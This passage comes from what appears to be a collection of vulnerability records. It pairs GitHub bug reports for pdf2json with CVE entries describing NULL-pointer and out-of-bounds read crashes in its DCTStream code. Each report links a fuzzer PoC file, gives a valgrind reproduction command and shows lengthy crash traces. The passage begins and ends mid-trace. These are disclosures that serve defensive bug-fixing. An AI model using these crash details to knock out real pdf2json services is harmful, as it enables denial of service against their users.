0x4890DF: Parser::Parser(XRef*, Lexer*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x4542F8: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== Error (8504): Bad Huffman code in DCT stream ==5144== Use of uninitialised value of size 8 ==5144== at 0x41ACFE: GfxState::~GfxState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x41C839: GfxState::restore() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x467BEB: Gfx::restoreState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A5AA: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40269A: main (pdf2json.cc:275) ==5144== ==5144== Invalid read of size 8 ==5144== at 0x41ACFE: GfxState::~GfxState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x41C839: GfxState::restore() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x467BEB: Gfx::restoreState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A5AA: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40269A: main (pdf2json.cc:275) ==5144== Address 0x8 is not stack'd, malloc'd or (recently) free'd ==5144== ==5144== ==5144== Process terminating with default action of signal 11 (SIGSEGV) ==5144== Access not within mapped region at address 0x8 ==5144== at 0x41ACFE: GfxState::~GfxState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x41C839: GfxState::restore() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x467BEB: Gfx::restoreState() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A5AA: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==5144== by 0x40269A: main (pdf2json.cc:275) ==5144== If you believe this happened as a result of a stack ==5144== overflow in your program's main thread (unlikely but ==5144== possible), you can try to increase the size of the ==5144== main thread stack using the --main-stacksize= flag. ==5144== The main thread stack size used in this run was 8388608. ==5144== ==5144== HEAP SUMMARY: ==5144== in use at exit: 246,401 bytes in 1,945 blocks ==5144== total heap usage: 2,354 allocs, 409 frees, 378,948 bytes allocated ==5144== ==5144== LEAK SUMMARY: ==5144== definitely lost: 18,992 bytes in 161 blocks ==5144== indirectly lost: 8 bytes in 1 blocks ==5144== possibly lost: 0 bytes in 0 blocks ==5144== still reachable: 227,401 bytes in 1,783 blocks ==5144== suppressed: 0 bytes in 0 blocks ==5144== Rerun with --leak-check=full to see details of leaked memory ==5144== ==5144== For counts of detected and suppressed errors, rerun with: -v ==5144== Use --track-origins=yes to see where uninitialised values come from ==5144== ERROR SUMMARY: 27 errors from 4 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV on DCTStream::reset

https://api.github.com/repos/flexpaper/pdf2json/issues/30/comments

2019-05-28T06:47:45Z

2019-05-29T17:39:34Z

https://github.com/flexpaper/pdf2json/issues/30

CVE-2020-19470

2021-07-21T18:15:08.710

An issue has been found in function DCTStream::getChar in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a NULL pointer dereference (invalid read of size 1) .

https://github.com/flexpaper/pdf2json/issues/31

github.com

Hi, Our fuzzer found a crash due to a NULL pointer dereference bug on the function DCTStream::getChar (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_npd_DCTStream::getChar ~~~ valgrind pdf2json $PoC /dev/null ==20313== Memcheck, a memory error detector ==20313== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==20313== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==20313== Command: ./pdf2json PoC_npd_DCTStream::getChar /dev/null ==20313== Error (13143): Badly formatted number Error: PDF file is damaged - attempting to reconstruct xref table... Error (13759): Illegal character '>' Error (7369): Dictionary key must be a name object Error (7379): Dictionary key must be a name object Error (7380): Illegal character '>' Error (7380): Dictionary key must be a name object Error (7388): Dictionary key must be a name object Error (7394): Dictionary key must be a name object Error (7853): Dictionary key must be a name object Error (7903): Dictionary key must be a name object Error (7913): Dictionary key must be a name object Error (7920): Dictionary key must be a name object Error (7922): Dictionary key must be a name object Error (7924): Dictionary key must be a name object Error (7928): Dictionary key must be a name object Error (7933): Dictionary key must be a name object Error (7940): Dictionary key must be a name object Error (7943): Dictionary key must be a name object Error (7945): Dictionary key must be a name object Error (7949): Dictionary key must be a name object Error (7960): Dictionary key must be a name object Error (7972): Dictionary key must be a name object Error (7976): Dictionary key must be a name object Error (7979): Dictionary key must be a name object Error (7987): Dictionary key must be a name object ==20313== Invalid read of size 1 ==20313== at 0x433044: DCTStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x487A83: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x4890DF: Parser::Parser(XRef*, Lexer*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x4542F8: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x40269A: main (pdf2json.cc:275) ==20313== Address 0x0 is not stack'd, malloc'd or (recently) free'd ==20313== ==20313== ==20313== Process terminating with default action of signal 11 (SIGSEGV) ==20313== Access not within mapped region at address 0x0 ==20313== at 0x433044: DCTStream::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x40947A: Object::streamGetChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x48796F: Lexer::getChar() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x487A83: Lexer::getObj(Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x4890DF: Parser::Parser(XRef*, Lexer*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x4542F8: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==20313== by 0x40269A: main (pdf2json.cc:275) ==20313== If you believe this happened as a result of a stack ==20313== overflow in your program's main thread (unlikely but ==20313== possible), you can try to increase the size of the ==20313== main thread stack using the --main-stacksize= flag. ==20313== The main thread stack size used in this run was 8388608. ==20313== ==20313== HEAP SUMMARY: ==20313== in use at exit: 225,178 bytes in 1,772 blocks ==20313== total heap usage: 2,047 allocs, 275 frees, 341,335 bytes allocated ==20313== ==20313== LEAK SUMMARY: ==20313== definitely lost: 16 bytes in 1 blocks ==20313== indirectly lost: 8 bytes in 1 blocks ==20313== possibly lost: 0 bytes in 0 blocks ==20313== still reachable: 225,154 bytes in 1,770 blocks ==20313== suppressed: 0 bytes in 0 blocks ==20313== Rerun with --leak-check=full to see details of leaked memory ==20313== ==20313== For counts of detected and suppressed errors, rerun with: -v ==20313== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) Segmentation fault ~~~ Thanks, Manh Dung

SEGV (NULL pointer dereference) on DCTStream::getChar

https://api.github.com/repos/flexpaper/pdf2json/issues/31/comments

2019-05-28T08:53:18Z

2019-05-29T17:39:20Z

https://github.com/flexpaper/pdf2json/issues/31

CVE-2020-19471

2021-07-21T18:15:08.747

An issue has been found in function DCTStream::decodeImage in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to an invalid read of size 4 .

https://github.com/flexpaper/pdf2json/issues/32

github.com

Hi, Our fuzzer found a bug due to an invalid read on the function DCTStream::decodeImage (the latest commit b671b64 on master - version 0.70). PoC: https://github.com/strongcourage/PoCs/blob/master/pdf2json_b671b64/PoC_aborted_DCTStream::decodeImage Valgrind says: ~~~ valgrind pdf2json $PoC /dev/null ==17382== Memcheck, a memory error detector ==17382== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==17382== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info ==17382== Command: ./pdf2json ./PoC_aborted_DCTStream::decodeImage /dev/null ==17382== Error: PDF file is damaged - attempting to reconstruct xref table... Error (15396): Illegal character <5c> in hex string Error (15407): Illegal character <78> in hex string Error (154): Dictionary key must be a name object Error (165): Dictionary key must be a name object Error (528): Dictionary key must be a name object Error (530): Dictionary key must be a name object Error (532): Dictionary key must be a name object Error (536): Dictionary key must be a name object Error (539): Dictionary key must be a name object Error (545): Dictionary key must be a name object Error (8015): Command token too long Error (8139): Missing 'endstream' Error (1970): Unknown DCT marker <75> ==17382== Invalid read of size 4 ==17382== at 0x435431: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf10 is 0 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x435452: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf14 is 4 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x43546F: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf18 is 8 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x43548C: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf1c is 12 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x4354A9: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== Address 0x5b5bf20 is 16 bytes after a block of size 100,352 alloc'd ==17382== at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==17382== by 0x48E521: gmalloc (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48E667: gmallocn (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432BC5: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: PDFDoc::displayPage(OutputDev*, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BD48: PDFDoc::displayPages(OutputDev*, int, int, double, double, int, int, int, int, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40269A: main (pdf2json.cc:275) ==17382== ==17382== Invalid read of size 4 ==17382== at 0x4354C6: DCTStream::decodeImage() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x432C6C: DCTStream::reset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x40941E: Object::streamReset() (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x48788A: Lexer::Lexer(XRef*, Object*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x4542CE: Gfx::display(Object*, int) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A59E: Page::displaySlice(OutputDev*, double, double, int, int, int, int, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42A14A: Page::display(OutputDev*, double, double, int, int, int, Links*, int, Catalog*, int (*)(void*), void*) (in /home/dungnguyen/PoCs/pdf2json_b671b64/pdf2json) ==17382== by 0x42BCBD: 